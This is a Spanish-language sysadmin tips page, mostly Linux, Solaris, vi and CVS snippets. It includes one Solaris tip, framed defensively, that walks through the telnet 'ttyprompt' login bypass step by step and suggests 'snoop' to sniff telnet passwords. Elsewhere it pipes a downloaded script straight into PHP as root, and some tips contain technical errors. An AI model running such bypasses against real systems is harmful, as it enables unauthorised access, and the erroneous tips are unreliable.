Cargando ...

MyDesk Now: My desk on ApriL

Volver a la web actual

Buscar un Tip :

Tip : Dicese de cualquier ayuda o sugerencia breve sobre un tema concreto.


.:
Linux
(33)
.:
Unix
(6)
.:
Solaris
(7)
.:
Apache
(1)
.:
Dns
(0)
.:
Sendmail
(1)
.:
Tuxedo
(0)
.:
MySQL
(1)
.:
C
(2)
.:
PHP
(4)
.:
XML
(1)
.:
C++
(0)
.:
Java
(1)
.:
Perl
(0)
.:
Visual Basic
(0)
.:
JavaScript
(0)
.:
flash
(1)
.:
Emacs
(0)
.:
Vi
(1)
.:
Linux
(0)
.:
Informix
(7)
.:
MySQL
(1)
.:
PostgreSQL
(0)
.:
Oracle
(0)

Usuario :


Password :

<- Octubre ->
L M X J V S D
1234
567891011
12131415161718
19202122232425
262728293031

Creando una cuenta , podras Añadir tus propios tips a las base de datos para que otros los vean , asi como tendras un espacio con "Tus Tips".

Administracion/Linux
Tmux Cheat Sheet
Crear una nueva sesión:
tmux new -s nuevasesion
Para salir sin cerrar la sesión:
Ctrl+b
d
Para volver a la sesión:
tmux attach -t nuevasesion
Cuantas sesiones tengo y como se llaman ?
tmux ls
CoffMan 2026-10-07
Programacion/PHP
comparacion de strings en java
cuando una cadena es igual a otra cadena ?
como sabemos, si creamos la cadena asi:
string cadena = "hola"
string cad = "hola"
ambas son objetos, entonces cadena.equals(cad) es true
pero el problema viene si usamos el comparador == .
en nuestro ejemplo deberia devolver true. esto es porque
== compara los objetos, y el metodo equals compara el
valor del objeto.
mas info :
http://java.sun.com/developer/jdctechtips/2004/tt0504.html#2
CoffMan 2004-08-05
Administracion/Linux
Renombrar un conjunto de archivos de golpe desde BASH
a veces los archivos de configuracion vienen con un
nombre, tal que archivo.cfg-dist o algo asi, de modo que
podemos cambiar todos los archivos de nombre de golpe al
nombre archivo.cfg, listo para usar.
esto se hace desde la shell bash y con una unica linea muy
sencilla :
cd /directorio/donde/estan/los/archivosdeconfiguracion
for i in *; do cp $i ${i%.*}.cfg ; done
CoffMan 2004-07-15
Administracion/Linux
Instalacion Disco Duro USB Portatil Lacie 160GB
para instalar un disco duro (lacie de 160 gb en mi caso) bajo
linux solo será necesario compilar el kernel una vez (con mi
debian) si tienes una suse o una rh igual ya no te hace falta
recompilar nada. necesitamos instalar como modulos o en el nucleo
soporte para :
uhci (soporte usb) usb-storage (soporte para unidades de
almacenamiento masivo) y scsi (lo0s discos duros externosusan
emulacion scsi).
una vez instalado todo, solo tenemos que enceder la unidad,
enchufarla al usb y montarla:
# mount /dev/sda1 /mnt/lacie
y lista para usar ...
yo tengo en el /etc/modules :
usb-storage
asi me lo carga al inicio siempre.
CoffMan 2004-06-18
Programacion/PHP
Enviar Parametro Php Java Script
crear una funcion java script
function recibe(dato)(
if (dato==1)(
alert(mensaje);
)
)
body onload="recibe('')"
braykorn 2004-04-30
Administracion/Linux
Control de versiones sobre archivos de configuracion 2
pequeño script para llevar de una manera el control de los cambios
realidos sobre archivos de configuracion vitales del sistema, tanto
como si son varios administradores, como para uno mismo. requiere
rcs instalado en el sistema.
script:
#!/bin/sh
#para añadir control de versiones a cualquier archivo de
configuracion
# del sistema.
#uso: vi-version /etc/hosts crea el archivo /etc/hosts,v con las
versiones
#correspondientes
if [ $# -ne 0 ] ; then
/usr/bin/co -l $1 && /usr/bin/vi $1 ; /usr/bin/ci -u $1
exit
else
echo "inicia o continua el control de versiones sobre un
archivo en particular."
echo "uso: vi-version archivo.cfg";
fi
CoffMan 2004-04-26
Misc/Vi
transformar ficheros de tipo DOS a UNIX desde el vi
cuando usamos un archivo .sh generado desde windows, a veces no
deja ejecutarlo aunque le cambiemos los atributos con chmod 755,
eso es por q el formato del archivo es dos, eso lo vemos
facilmente, pues cuando lo abrimos con el vi pone:
"nombre_archivo" [dos] 311l, 10465c
para convertirlo ponemos:
set fileformat=unix
:wq
listo ...
esto lo que hace es convertir el salto de linea en dos ()
al salto de linea en unix ()
para volverlo a formato dos :
set fileformat=dos
:wq
CoffMan 2004-03-30
Administracion/Linux
Evitar borrar como root un ejecutable en ext2
si quereis que un archivo sea inborrable como root con un sistema
de archivos ext2 solo teneis que usar el comando chattr(poner
atributos)y listarlos con lsattr.
es muy frecuente con los r00tkits o con alguna otra herramienta
para que el root no pueda borrar el archivo. por ej:
hacer inborrable (para el rm) el archivo /bin/netstat
# chattr +ia /bin/netstat
para deshacerlo y que podamos borrarlo de nuevo :
# chattr -ia /bin/netstat
y para listar los atributos:
# lsattr
CoffMan 2004-02-16
Programacion/Java
Cambio de Weblogic a JBOSS - Datasources y pooles
para migrar entre estos 2 servidores de aplicaciones si usamos
datasources solo tenemos que cambiar el acceso al jndi para
localizar el datasource y crear el mismo:
en jboss ... creacion de datasource:
archivo informix-ds.xml (ejemplo informix con ifxdriver en lib)
informixdatasource
jdbc:informix-
sqli://192.168.0.69:1526/sscg:informixserver=tux
com.informix.jdbc.ifxdriver
informix
secretpasswordpassword>
luego en el codigo java de acceso y localizacion del
datasource:
context ctx = null;
hashtable ht = new
hashtable();
ht.put
(context.initial_context_factory,\"org.jnp.interfaces.namingcontextfa
ctory\");
ht.put(context.provider_url,
\"jnp://localhost:1099\");
ctx = new initialcontext(ht);
javax.sql.datasource ds = (javax.sql.datasource)
ctx.lookup
(\"java:/informixdatasource\");
java.sql.connection
conn = ds.getconnection();
etc...
coff
CoffMan 2004-02-10
Administracion/Linux
ssh remoto y colores en la consola con putty
para que aparezca el terminal adecuado al hacer ssh desde un
windows a un linux y poder ver los menus (pdmenu, iptraf, y demas
aplicaciones de las ncurses ) con colores y bien formateado desde
windows y con el putty solo tenemos que poner en la opcion
connection "terminal-type-string: xterm-color" seguro que con otro
tipo de terminal tambien funciona, pero este es el unico que probe.
CoffMan 2004-02-10
Administracion/Linux
Editar en Hexadecimal desde el VI
cuando tenemos un archivo y queremos editarlo hexadecimalmente
con el vi hacemos lo siguiente :
*:%!xxd*
y para volver el documento a su estado original :
*:%!xxd -r*
CoffMan 2004-02-03
Administracion/Linux
Control de Versiones sobre Webs enteras ( CVS)
se tratara de llevar un control de versiones sobre una
web diseñada entre varias personas con php (por ejemplo)
y poder almacenar los cambios hechos por todas ellas .
tenemos /www/miweb ,dentro cientos de .php y .gif y .html
guardaremos las versiones en /backup p.ej :
1.- export cvsroot=/backup
2.- cd /www/miweb ; cvs import nombreprj coff inicio
3.- hacemos un cd .. ; cvs checkout nombreprj para
inicializar todo
con eso creamos una copia inicial de todo
ahora hacemos los cambios q queramos en la web, y
guardamos todas las modificaciones en el repositorio:
4.- cvs commit -m "notas de los cambios realizados" en el
directorio del proyecto (/www/miweb en el ej.)
5.- cvs log nombreprj para ver informacion de versiones
para restaurar una version antigua (pues nos confundimos
en algo y la web no va .. )volvemos a la version 1.1.1:
6.- cd /www ; cvs checkout -r 1.1.1 nombreprj
Para que aparezca en la web una linea con informacion de la ultima actualizacion del CVS solo hay que poner: $Id: $ Lista de etiquetas:http://www.fluidthoughts.com/howto/cvs/keywords http://www.cvshome.org coff
CoffMan 2004-01-24
Administracion/Linux
instalar PEAR en PHP
php 4.3.x minimo ...
el php tiene que tener instalado soporte para zlib (--with-zlib)
por lo menos ...
con soporte pdflib nos aseguramos todos estos requisitos.
luego como root :
lynx -source http://go-pear.org/ | php
luego con el comando pear instalamos lo que necesitemos :
pear install paquete
p.ej. : pear install Mail_mime
http://pear.php.net para mas info
CoffMan 2004-01-20
Administracion/Linux
eliminar comentarios y lineas en blanco
para eliminar las lineas de los comentarios y las lineas
en blanco con grep se usa asi(por ej. en el squid):
grep '^[^#]' squid.conf
muy util para ver la configuracion de programas gordos
tambien funciona por partes :
grep -v '#' squid.conf | grep -v ^$
CoffMan 2003-11-24
Administracion/Linux
Eliminar retornos de carro en archivos de texto (^M)
para eliminar los retornos de carro en archivos unix (los que
aparecen con ^m en el vi) se puede ejecutar estos 2 pasos :
tr -d '\015' < input_file > output_file
tr -d '\012' < input_file > output_file
el primero elimina el retorno de carro en si.
el segundo elimina el caracter ^m de retorno de carro.
CoffMan 2003-11-24
Administracion/Unix
Respaldos en Cinta en HP-UX...
los respaldos en cinta se pueden enviar de dos maneras, una puede
ser utilizando el comando tar, pero esta solo es recomendable
cuando son archivos pequeños, otra es con el fbackup ejemplos:
# tar cvf /dev/rmt/0m archivo-direc
para recuperar el archivo de la cinta hacer:
# tar xvf /dev/rmt/0m archivo-direc
la forma más recomendable para hacer respaldos en hp-ux es:
# fbackup -i /direc-o-archivo -f /dev/rmt/0m
para recuperar la tabla de índices de la cinta hacer:
# frecover -i /tmp/index_cinta -f /dev/rmt/0m
para recuperar algún archivo o directorio de la cinta:
# frecover -xovf /dev/rmt/0m -i /direc-o-archivo
salu2.
Fer 2003-08-29
Administracion/Solaris
porque debo cerrar el telnet en Solaris (bueno en todos los unix).
Existen muchas maneras de hackear un servidor que tiene el telnet o puerto 23 abierto, pero en el caso especial de solaris (excepto solaris 9), tienen la siguiente vulnerabilidad:
ejecuta las siguientes líneas desde otro servidor para saber si te puedes hackear (lo hago con la finalidad de que reparen este error, no para que lo exploten).
Suponiendo que la ip de ataque es 192.168.1.1:
% telnet
telnet> environ define ttyprompt abcdef
telnet> o 192.168.1.1
sunos 5.8
user1 c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c
c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n
last login: whenever
$ whoami
user1
Nota: la cuenta user1 es una cuenta que existe en el servidor, creo
que es de imaginarse lo que puede pasar si la variable console esta comentada (root también puede hacer telnet y el servidor puede ser hackeado con la cuenta de root).
otra forma de atrapar los password's que pasan por telnet es con el
comando snoop de solaris:
# snoop 192.168.1.1
creo que esto es motivo suficiente para cerrar el telnet de tus
servidores.
Fer 2003-08-29
Administracion/Solaris
Enciptar un archivo en Solaris...
para encriptar un archivo en solaris se utiliza el comando crypt
pasándole como parámetros la llave, el nombre del archivo a
encriptar y
direccionándolo a un archivo resultante ejemplo:
# crypt llave < archivo > archivo.cry
para desencriptar el archivo hay que hacer:
# crypt llave < archivo.cry|pr>archvio
Fer 2003-08-29
Administracion/Solaris
Como ver los parches que tengo instalados en Solaris.
para ver los parches que tengo instaldos en en solaris ejecutar:
# showrev -p | cut -f2 -d"" |xargs |more
Fer 2003-08-29
Administracion/Solaris
Subir o bajar tarjetas de red en Solaris.
Para subir las tarjetas en solaris se hace uso del comando ifconfig:
pero primero debemos ver cual es el nombre de la interface (en el
ejemplo vamos a suponer que es hme0).
entonces:
# ifconfig hme0 plumb
# ifconfig hme0 192.168.1.1 up
para otra ip en la misma tarjeta de red.
# ifconfig hme0:1 plumb
# ifconfig hme0:1 192.168.1.2 up
para bajar una tarjeta con una direccion ip hacer:
# ifconfig hme0:1 unplumb
# ifconfig hme0:1 down
salu2.
Fer 2003-08-29
slashdot.org
  • Mono and .NET - An Interview.
  • Where are the 'Construction Set' Games?.
  • One Terabyte On a 12-inch^H^H^H^Hcm Disk.
  • Microsoft in Peru, Living Room.
  • Project Rainbow - 802.11 Across the U.S..
  • Perl for Web Site Management.
  • Mac PVR Coming Soon.
  • Extra Scenes in FotR Special Edition DVD.
  • Liquid Audio Sues In Pitiful Attempt to Appear Relevant.
  • nForce2 Preview.


  • Top Tips
    Linux
    PHP
    MySQL
    Ultimos Tips
    Oracle
    PostgreSQL
    Linux Admin
    Oracle
    Programacion
    PHP 28
    Java 30
    C/C++ 212
    Administracion
    Linux 28
    Solaris 30
    Digital Unix 2
    Bases de Datos
    MySQL 31
    PostgreSQL 12
    Informix 2
    Oracle 45

    Sugerencias :

    vIc

    Esta sede no tiene copyright , puesto que la mayoria de colores , imagenes y otras cosas estan copiados de otras sedes .